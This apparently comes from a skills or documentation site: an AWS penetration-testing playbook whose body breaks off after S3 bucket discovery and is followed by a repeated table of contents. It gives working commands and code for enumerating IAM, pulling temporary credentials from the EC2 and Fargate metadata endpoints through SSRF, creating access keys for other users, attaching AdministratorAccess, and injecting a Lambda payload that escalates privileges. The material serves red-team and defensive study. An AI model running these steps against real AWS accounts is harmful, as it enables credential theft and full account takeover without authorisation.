AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

AWS CLI configured with credentials
Valid AWS credentials (even low-privilege)
Understanding of AWS IAM model
Python 3, boto3 library
Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

IAM privilege escalation paths
Extracted credentials and secrets
Compromised EC2/Lambda/S3 resources
Persistence mechanisms
Security audit findings

Essential Tools

Tool	Purpose	Installation
Pacu	AWS exploitation framework	`git clone https://github.com/RhinoSecurityLabs/pacu`
SkyArk	Shadow Admin discovery	`Import-Module .\SkyArk.ps1`
Prowler	Security auditing	`pip install prowler`
ScoutSuite	Multi-cloud auditing	`pip install scoutsuite`
enumerate-iam	Permission enumeration	`git clone https://github.com/andresriancho/enumerate-iam`
Principal Mapper	IAM analysis	`pip install principalmapper`

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

Permission	Exploitation
`iam:CreateAccessKey`	Create keys for admin user
`iam:CreateLoginProfile`	Set password for any user
`iam:AttachUserPolicy`	Attach admin policy to self
`iam:PutUserPolicy`	Add inline admin policy
`iam:AddUserToGroup`	Add self to admin group
`iam:PassRole` + `ec2:RunInstances`	Launch EC2 with admin role
`lambda:UpdateFunctionCode`	Inject code into Lambda

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

AWS Penetration Testing

Documentation

AWS Penetration Testing

Purpose

Inputs/Prerequisites

Outputs/Deliverables

Essential Tools

Core Workflow

Step 1: Initial Enumeration

Step 2: IAM Enumeration

Step 3: Metadata SSRF (EC2)

Privilege Escalation Techniques

Shadow Admin Permissions

Create Access Key for Another User

Attach Admin Policy

Add Inline Admin Policy

Lambda Privilege Escalation

S3 Bucket Exploitation

Bucket Discovery

Bucket Enumeration

Quick Info

Tags

Related Skills

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anti-reversing-techniques

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